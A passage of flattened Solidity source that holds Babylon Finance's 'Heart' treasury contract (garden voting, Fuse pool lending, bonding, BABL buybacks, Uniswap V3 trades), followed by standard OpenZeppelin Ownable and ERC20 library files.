* Resolves garden votes for this cycle * * Note: Only keeper can call this * @param _gardens Gardens that are going to receive investment * @param _weights Weight for the investment in each garden normalied to 1e18 precision */ function resolveGardenVotes(address[] memory _gardens, uint256[] memory _weights) public override { _onlyKeeper(); _require(_gardens.length == _weights.length, Errors.HEART_VOTES_LENGTH); delete votedGardens; delete gardenWeights; for (uint256 i = 0; i < _gardens.length; i++) { votedGardens.push(_gardens[i]); gardenWeights.push(_weights[i]); } lastVotesAt = block.timestamp; emit UpdatedGardenWeights(block.timestamp); } function resolveGardenVotesAndPump(address[] memory _gardens, uint256[] memory _weights) external override { resolveGardenVotes(_gardens, _weights); pump(); } /** * Updates fuse pool market information and enters the markets * */ function updateMarkets() public override { controller.onlyGovernanceOrEmergency(); // Enter markets of the fuse pool for all these assets address[] memory markets = IComptroller(BABYLON_FUSE_POOL_ADDRESS).getAllMarkets(); for (uint256 i = 0; i < markets.length; i++) { address underlying = ICToken(markets[i]).underlying(); assetToCToken[underlying] = markets[i]; } IComptroller(BABYLON_FUSE_POOL_ADDRESS).enterMarkets(markets); } /** * Set the weights to allocate to different heart initiatives * * @param _feeWeights Array of % (up to 1e18) with the fee weights */ function updateFeeWeights(uint256[] calldata _feeWeights) public override { controller.onlyGovernanceOrEmergency(); delete feeDistributionWeights; for (uint256 i = 0; i < _feeWeights.length; i++) { feeDistributionWeights.push(_feeWeights[i]); } } /** * Updates the next asset to lend on fuse pool * * @param _assetToLend New asset to lend */ function updateAssetToLend(address _assetToLend) public override { controller.onlyGovernanceOrEmergency(); _require(assetToLend != _assetToLend, Errors.HEART_ASSET_LEND_SAME); _require(assetToCToken[_assetToLend] != address(0), Errors.HEART_ASSET_LEND_INVALID); assetToLend = _assetToLend; } /** * Updates the next asset to purchase assets from strategies at a premium * * @param _purchaseAsset New asset to purchase */ function updateAssetToPurchase(address _purchaseAsset) public override { controller.onlyGovernanceOrEmergency(); _require( _purchaseAsset != assetForPurchases && _purchaseAsset != address(0), Errors.HEART_ASSET_PURCHASE_INVALID ); assetForPurchases = _purchaseAsset; } /** * Updates the next asset to purchase assets from strategies at a premium * * @param _assetToBond Bond to update * @param _bondDiscount Bond discount to apply 1e18 */ function updateBond(address _assetToBond, uint256 _bondDiscount) public override { controller.onlyGovernanceOrEmergency(); bondAssets[_assetToBond] = _bondDiscount; } /** * Adds a BABL reward to be distributed weekly back to the heart garden * * @param _bablAmount Total amount to distribute * @param _weeklyRate Weekly amount to distribute */ function addReward(uint256 _bablAmount, uint256 _weeklyRate) external override { controller.onlyGovernanceOrEmergency(); // Get the BABL reward IERC20(BABL).safeTransferFrom(msg.sender, address(this), _bablAmount); bablRewardLeft = bablRewardLeft.add(_bablAmount); weeklyRewardAmount = _weeklyRate; } /** * Updates the min amount to trade a specific asset * * @param _asset Asset to edit the min amount * @param _minAmountOut New min amount */ function setMinTradeAmount(address _asset, uint256 _minAmountOut) external override { controller.onlyGovernanceOrEmergency(); minAmounts[_asset] = _minAmountOut; } /** * Updates the heart garden address * * @param _heartGarden New heart garden address */ function setHeartGardenAddress(address _heartGarden) external override { controller.onlyGovernanceOrEmergency(); heartGarden = IGarden(_heartGarden); } /** * Updates the tradeSlippage * * @param _tradeSlippage Trade slippage */ function setTradeSlippage(uint256 _tradeSlippage) external override { controller.onlyGovernanceOrEmergency(); tradeSlippage = _tradeSlippage; } /** * Tell the heart to lend an asset on Fuse * * @param _assetToLend Address of the asset to lend * @param _lendAmount Amount of the asset to lend */ function lendFusePool(address _assetToLend, uint256 _lendAmount) external override { controller.onlyGovernanceOrEmergency(); // Lend into fuse _lendFusePool(_assetToLend, _lendAmount, _assetToLend); } /** * Heart borrows using its liquidity * Note: Heart must have enough liquidity * * @param _assetToBorrow Asset that the heart is receiving from sender * @param _borrowAmount Amount of asset to transfet */ function borrowFusePool(address _assetToBorrow, uint256 _borrowAmount) external override { controller.onlyGovernanceOrEmergency(); address cToken = assetToCToken[_assetToBorrow]; _require(cToken != address(0), Errors.HEART_INVALID_CTOKEN); _require(ICToken(cToken).borrow(_borrowAmount) == 0, Errors.NOT_ENOUGH_COLLATERAL); } /** * Repays Heart fuse pool position * Note: We must have the asset in the heart * * @param _borrowedAsset Borrowed asset that we want to pay * @param _amountToRepay Amount of asset to transfer */ function repayFusePool(address _borrowedAsset, uint256 _amountToRepay) external override { controller.onlyGovernanceOrEmergency(); address cToken = assetToCToken[_borrowedAsset]; IERC20(_borrowedAsset).safeApprove(cToken, _amountToRepay); _require(ICToken(cToken).repayBorrow(_amountToRepay) == 0, Errors.AMOUNT_TOO_LOW); } /** * Trades one asset for another in the heart * Note: We must have the _fromAsset _fromAmount available. * @param _fromAsset Asset to exchange * @param _toAsset Asset to receive * @param _fromAmount Amount of asset to exchange * @param _minAmountOut Min amount of received asset */ function trade( address _fromAsset, address _toAsset, uint256 _fromAmount, uint256 _minAmountOut ) external override { controller.onlyGovernanceOrEmergency(); _require(IERC20(_fromAsset).balanceOf(address(this)) >= _fromAmount, Errors.AMOUNT_TOO_LOW); uint256 boughtAmount = _trade(_fromAsset, _toAsset, _fromAmount); _require(boughtAmount >= _minAmountOut, Errors.SLIPPAGE_TOO_HIH); } /** * Strategies can sell wanted assets by the protocol to the heart. * Heart will buy them using borrowings in stables. * Heart returns WETH so master swapper will take it from there. * Note: Strategy needs to have approved the heart. * * @param _assetToSell Asset that the heart is receiving from strategy to sell * @param _amountToSell Amount of asset to sell */ function sellWantedAssetToHeart(address _assetToSell, uint256 _amountToSell) external override { _require(controller.isSystemContract(msg.sender), Errors.NOT_A_SYSTEM_CONTRACT); _require(controller.protocolWantedAssets(_assetToSell), Errors.HEART_ASSET_PURCHASE_INVALID); _require(assetForPurchases != address(0), Errors.INVALID_ADDRESS); // Uses on chain oracle to fetch prices uint256 pricePerTokenUnit = IPriceOracle(controller.priceOracle()).getPrice(_assetToSell, assetForPurchases); _require(pricePerTokenUnit != 0, Errors.NO_PRICE_FOR_TRADE); uint256 amountInPurchaseAssetOffered = pricePerTokenUnit.preciseMul(_amountToSell); _require( IERC20(assetForPurchases).balanceOf(address(this)) >= amountInPurchaseAssetOffered, Errors.BALANCE_TOO_LOW ); IERC20(_assetToSell).safeTransferFrom(msg.sender, address(this), _amountToSell); // Buy it from the strategy plus 1% premium uint256 wethTraded = _trade(assetForPurchases, address(WETH), amountInPurchaseAssetOffered.preciseMul(101e16)); // Send weth back to the strategy IERC20(WETH).safeTransfer(msg.sender, wethTraded); } /** * Users can bond an asset that belongs to the program and receive a discount on hBABL. * Note: Heart needs to have enough BABL to satisfy the discount. * Note: User needs to approve the asset to bond first. * * @param _assetToBond Asset that the user wants to bond * @param _amountToBond Amount to be bonded * @param _minAmountOut Min amount of Heart garden shares to recieve */ function bondAsset( address _assetToBond, uint256 _amountToBond, uint256 _minAmountOut, address _referrer ) external override { _require(bondAssets[_assetToBond] > 0 && _amountToBond > 0, Errors.AMOUNT_TOO_LOW); // Total value adding the premium uint256 bondValueInBABL = _bondToBABL( _assetToBond, _amountToBond, IPriceOracle(controller.priceOracle()).getPrice(_assetToBond, address(BABL)) ); // Get asset to bond from sender IERC20(_assetToBond).safeTransferFrom(msg.sender, address(this), _amountToBond); // Deposit on behalf of the user _require(BABL.balanceOf(address(this)) >= bondValueInBABL, Errors.AMOUNT_TOO_LOW); BABL.safeApprove(address(heartGarden), bondValueInBABL); heartGarden.deposit(bondValueInBABL, _minAmountOut, msg.sender, _referrer); } /** * Users can bond an asset that belongs to the program and receive a discount on hBABL. * Note: Heart needs to have enough BABL to satisfy the discount. * Note: User needs to approve the asset to bond first. * * @param _assetToBond Asset that the user wants to bond * @param _amountToBond Amount to be bonded */ function bondAssetBySig( address _assetToBond, uint256 _amountToBond, uint256 _amountIn, uint256 _minAmountOut, uint256 _nonce, uint256 _maxFee, uint256 _priceInBABL, uint256 _pricePerShare, uint256 _fee, address _contributor, address _referrer, bytes memory _signature ) external override { _onlyKeeper(); _require(_fee <= _maxFee, Errors.FEE_TOO_HIGH); _require(bondAssets[_assetToBond] > 0 && _amountToBond > 0, Errors.AMOUNT_TOO_LOW); // Get asset to bond from contributor IERC20(_assetToBond).safeTransferFrom(_contributor, address(this), _amountToBond); // Deposit on behalf of the user _require(BABL.balanceOf(address(this)) >= _amountIn, Errors.AMOUNT_TOO_LOW); // verify that _amountIn is correct compare to _amountToBond uint256 val = _bondToBABL(_assetToBond, _amountToBond, _priceInBABL); uint256 diff = val > _amountIn ? val.sub(_amountIn) : _amountIn.sub(val); // allow 0.1% deviation _require(diff < _amountIn.div(1000), Errors.INVALID_AMOUNT); BABL.safeApprove(address(heartGarden), _amountIn); // Pay the fee to the Keeper IERC20(BABL).safeTransfer(msg.sender, _fee); // grant permission to deposit signer = _contributor; heartGarden.depositBySig( _amountIn, _minAmountOut, _nonce, _maxFee, _contributor, _pricePerShare, 0, address(this), _referrer, _signature ); // revoke permission to deposit signer = address(0); } /** * Heart will protect and buyback BABL whenever the price dips below the intended price protection. * Note: Asset for purchases needs to be setup and have enough balance. * * @param _bablPriceProtectionAt BABL Price in DAI to protect * @param _bablPrice Market price of BABL in DAI * @param _purchaseAssetPrice Price of purchase asset in DAI * @param _slippage Trade slippage on UinV3 to control amount of arb * @param _hopToken Hop token to use for UniV3 trade */ function protectBABL( uint256 _bablPriceProtectionAt, uint256 _bablPrice, uint256 _purchaseAssetPrice, uint256 _slippage, address _hopToken ) external override { _onlyKeeper(); _require(assetForPurchases != address(0), Errors.HEART_ASSET_PURCHASE_INVALID); _require(_bablPriceProtectionAt > 0 && _bablPrice <= _bablPriceProtectionAt, Errors.AMOUNT_TOO_HIGH); _require( SafeDecimalMath.normalizeAmountTokens( assetForPurchases, address(DAI), _purchaseAssetPrice.preciseMul(IERC20(assetForPurchases).balanceOf(address(this))) ) >= PROTECT_BUY_AMOUNT_DAI, Errors.NOT_ENOUGH_AMOUNT ); uint256 exactAmount = PROTECT_BUY_AMOUNT_DAI.preciseDiv(_bablPrice); uint256 minAmountOut = exactAmount.sub(exactAmount.preciseMul(_slippage == 0 ? tradeSlippage : _slippage)); uint256 bablBought = _trade( assetForPurchases, address(BABL), SafeDecimalMath.normalizeAmountTokens( address(DAI), assetForPurchases, PROTECT_BUY_AMOUNT_DAI.preciseDiv(_purchaseAssetPrice) ), minAmountOut, _hopToken != address(0) ? _hopToken : address(WETH) ); totalStats[2] = totalStats[2].add(bablBought); emit BablBuyback(block.timestamp, PROTECT_BUY_AMOUNT_DAI, bablBought); } // solhint-disable-next-line receive() external payable {} /* ============ External View Functions ============ */ /** * Getter to get the whole array of voted gardens * * @return The array of voted gardens */ function getVotedGardens() external view override returns (address[] memory) { return votedGardens; } /** * Getter to get the whole array of garden weights * * @return The array of weights for voted gardens */ function getGardenWeights() external view override returns (uint256[] memory) { return gardenWeights; } /** * Getter to get the whole array of fee weights * * @return The array of weights for the fees */ function getFeeDistributionWeights() external view override returns (uint256[] memory) { return feeDistributionWeights; } /** * Getter to get the whole array of total stats * * @return The array of stats for the fees */ function getTotalStats() external view override returns (uint256[7] memory) { return totalStats; } /** * Implements EIP-1271 */ function isValidSignature(bytes32 _hash, bytes memory _signature) public view override returns (bytes4 magicValue) { address recovered = ECDSA.recover(_hash, _signature); return recovered == signer && recovered != address(0) ? this.isValidSignature.selector : bytes4(0); } /* ============ Internal Functions ============ */ function _bondToBABL( address _assetToBond, uint256 _amountToBond, uint256 _priceInBABL ) private view returns (uint256) { return SafeDecimalMath.normalizeAmountTokens(_assetToBond, address(BABL), _amountToBond).preciseMul( _priceInBABL.preciseMul(uint256(1e18).add(bondAssets[_assetToBond])) ); } /** * Consolidates all reserve asset fees to weth * */ function _consolidateFeesToWeth() private { address[] memory reserveAssets = controller.getReserveAssets(); for (uint256 i = 0; i < reserveAssets.length; i++) { address reserveAsset = reserveAssets[i]; uint256 balance = IERC20(reserveAsset).balanceOf(address(this)); // Trade if it's above a min amount (otherwise wait until next pump) if (reserveAsset != address(BABL) && reserveAsset != address(WETH) && balance > minAmounts[reserveAsset]) { totalStats[0] = totalStats[0].add(_trade(reserveAsset, address(WETH), balance)); } if (reserveAsset == address(WETH)) { totalStats[0] = totalStats[0].add(balance); } } emit FeesCollected(block.timestamp, IERC20(WETH).balanceOf(address(this))); } /** * Buys back BABL through the uniswap V3 BABL-ETH pool * */ function _buyback(uint256 _amount) private { // Gift 50% BABL back to garden and send 50% to the treasury uint256 bablBought = _trade(address(WETH), address(BABL), _amount); // 50% IERC20(BABL).safeTransfer(address(heartGarden), bablBought.div(2)); IERC20(BABL).safeTransfer(treasury, bablBought.div(2)); totalStats[2] = totalStats[2].add(bablBought); emit BablBuyback(block.timestamp, _amount, bablBought); } /** * Adds liquidity to the BABL-ETH pair through the hypervisor * * Note: Address of the heart needs to be whitelisted by Visor. */ function _addLiquidity(uint256 _wethBalance) private { // Buy BABL again with half to add 50/50 uint256 wethToDeposit = _wethBalance.preciseMul(5e17); uint256 bablTraded = _trade(address(WETH), address(BABL), wethToDeposit); // 50% BABL.safeApprove(address(visor), bablTraded); IERC20(WETH).safeApprove(address(visor), wethToDeposit); uint256 oldTreasuryBalance = visor.balanceOf(treasury); uint256 shares = visor.deposit(wethToDeposit, bablTraded, treasury); _require( shares == visor.balanceOf(treasury).sub(oldTreasuryBalance) && visor.balanceOf(treasury) > 0, Errors.HEART_LP_TOKENS ); totalStats[3] += _wethBalance; emit LiquidityAdded(block.timestamp, wethToDeposit, bablTraded); } /** * Invests in gardens using WETH converting it to garden reserve asset first * * @param _wethAmount Total amount of weth to invest in all gardens */ function _investInGardens(uint256 _wethAmount) private { for (uint256 i = 0; i < votedGardens.length; i++) { address reserveAsset = IGarden(votedGardens[i]).reserveAsset(); uint256 amountTraded; if (reserveAsset != address(WETH)) { amountTraded = _trade(address(WETH), reserveAsset, _wethAmount.preciseMul(gardenWeights[i])); } else { amountTraded = _wethAmount.preciseMul(gardenWeights[i]); } // Gift it to garden IERC20(reserveAsset).safeTransfer(votedGardens[i], amountTraded); emit GardenSeedInvest(block.timestamp, votedGardens[i], _wethAmount.preciseMul(gardenWeights[i])); } totalStats[4] += _wethAmount; } /** * Lends an amount of WETH converting it first to the pool asset that is the lowest (except BABL) * * @param _fromAsset Which asset to convert * @param _fromAmount Total amount of weth to lend * @param _lendAsset Address of the asset to lend */ function _lendFusePool( address _fromAsset, uint256 _fromAmount, address _lendAsset ) private { address cToken = assetToCToken[_lendAsset]; _require(cToken != address(0), Errors.HEART_INVALID_CTOKEN); uint256 assetToLendBalance = _fromAmount; // Trade to asset to lend if needed if (_fromAsset != _lendAsset) { assetToLendBalance = _trade( address(_fromAsset), _lendAsset == address(0) ? address(WETH) : _lendAsset, _fromAmount ); } if (_lendAsset == address(0)) { // Convert WETH to ETH IWETH(WETH).withdraw(_fromAmount); ICEther(cToken).mint{value: _fromAmount}(); } else { IERC20(_lendAsset).safeApprove(cToken, assetToLendBalance); ICToken(cToken).mint(assetToLendBalance); } uint256 assetToLendWethPrice = IPriceOracle(controller.priceOracle()).getPrice(_lendAsset, address(WETH)); uint256 assettoLendBalanceInWeth = assetToLendBalance.preciseMul(assetToLendWethPrice); totalStats[5] = totalStats[5].add(assettoLendBalanceInWeth); emit FuseLentAsset(block.timestamp, _lendAsset, assettoLendBalanceInWeth); } /** * Sends the weekly BABL reward to the garden (if any) */ function _sendWeeklyReward() private { if (bablRewardLeft > 0) { uint256 bablToSend = bablRewardLeft < weeklyRewardAmount ? bablRewardLeft : weeklyRewardAmount; uint256 currentBalance = IERC20(BABL).balanceOf(address(this)); bablToSend = currentBalance < bablToSend ? currentBalance : bablToSend; IERC20(BABL).safeTransfer(address(heartGarden), bablToSend); bablRewardLeft = bablRewardLeft.sub(bablToSend); emit BABLRewardSent(block.timestamp, bablToSend); totalStats[6] = totalStats[6].add(bablToSend); } } /** * Trades _tokenIn to _tokenOut using Uniswap V3 * * @param _tokenIn Token that is sold * @param _tokenOut Token that is purchased * @param _amount Amount of tokenin to sell */ function _trade( address _tokenIn, address _tokenOut, uint256 _amount ) private returns (uint256) { if (_tokenIn == _tokenOut) { return _amount; } // Uses on chain oracle for all internal strategy operations to avoid attacks uint256 pricePerTokenUnit = IPriceOracle(controller.priceOracle()).getPrice(_tokenIn, _tokenOut); _require(pricePerTokenUnit != 0, Errors.NO_PRICE_FOR_TRADE); // minAmount must have receive token decimals uint256 exactAmount = SafeDecimalMath.normalizeAmountTokens(_tokenIn, _tokenOut, _amount.preciseMul(pricePerTokenUnit)); uint256 minAmountOut = exactAmount.sub(exactAmount.preciseMul(tradeSlippage)); return _trade(_tokenIn, _tokenOut, _amount, minAmountOut, address(0)); } /** * Trades _tokenIn to _tokenOut using Uniswap V3 * * @param _tokenIn Token that is sold * @param _tokenOut Token that is purchased * @param _amount Amount of tokenin to sell * @param _minAmountOut Min amount of tokens out to recive * @param _hopToken Hop token to use for UniV3 trade */ function _trade( address _tokenIn, address _tokenOut, uint256 _amount, uint256 _minAmountOut, address _hopToken ) private returns (uint256) { ISwapRouter swapRouter = ISwapRouter(0xE592427A0AEce92De3Edee1F18E0157C05861564); // Approve the router to spend token in. TransferHelper.safeApprove(_tokenIn, address(swapRouter), _amount); bytes memory path; if ( (_tokenIn == address(FRAX) && _tokenOut != address(DAI)) || (_tokenOut == address(FRAX) && _tokenIn != address(DAI)) ) { _hopToken = address(DAI); } else { if ( (_tokenIn == address(FEI) && _tokenOut != address(USDC)) || (_tokenOut == address(FEI) && _tokenIn != address(USDC)) ) { _hopToken = address(USDC); } } if (_hopToken != address(0)) { uint24 fee0 = _getUniswapPoolFeeWithHighestLiquidity(_tokenIn, _hopToken); uint24 fee1 = _getUniswapPoolFeeWithHighestLiquidity(_tokenOut, _hopToken); // Have to use WETH for BABL because the most liquid pari is WETH/BABL if (_tokenOut == address(BABL) && _hopToken != address(WETH)) { path = abi.encodePacked( _tokenIn, fee0, _hopToken, fee1, address(WETH), _getUniswapPoolFeeWithHighestLiquidity(address(WETH), _tokenOut), _tokenOut ); } else { path = abi.encodePacked(_tokenIn, fee0, _hopToken, fee1, _tokenOut); } } else { uint24 fee = _getUniswapPoolFeeWithHighestLiquidity(_tokenIn, _tokenOut); path = abi.encodePacked(_tokenIn, fee, _tokenOut); } ISwapRouter.ExactInputParams memory params = ISwapRouter.ExactInputParams(path, address(this), block.timestamp, _amount, _minAmountOut); return swapRouter.exactInput(params); } /** * Returns the FEE of the highest liquidity pool in univ3 for this pair * @param sendToken Token that is sold * @param receiveToken Token that is purchased */ function _getUniswapPoolFeeWithHighestLiquidity(address sendToken, address receiveToken) private view returns (uint24) { IUniswapV3Pool poolLow = IUniswapV3Pool(factory.getPool(sendToken, receiveToken, FEE_LOW)); IUniswapV3Pool poolMedium = IUniswapV3Pool(factory.getPool(sendToken, receiveToken, FEE_MEDIUM)); IUniswapV3Pool poolHigh = IUniswapV3Pool(factory.getPool(sendToken, receiveToken, FEE_HIGH)); uint128 liquidityLow = address(poolLow) != address(0) ? poolLow.liquidity() : 0; uint128 liquidityMedium = address(poolMedium) != address(0) ? poolMedium.liquidity() : 0; uint128 liquidityHigh = address(poolHigh) != address(0) ? poolHigh.liquidity() : 0; if (liquidityLow >= liquidityMedium && liquidityLow >= liquidityHigh) { return FEE_LOW; } if (liquidityMedium >= liquidityLow && liquidityMedium >= liquidityHigh) { return FEE_MEDIUM; } return FEE_HIGH; } } contract HeartV5 is Heart { constructor(IBabController _controller, IGovernor _governor) Heart(_controller, _governor) {} } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20.sol"; import 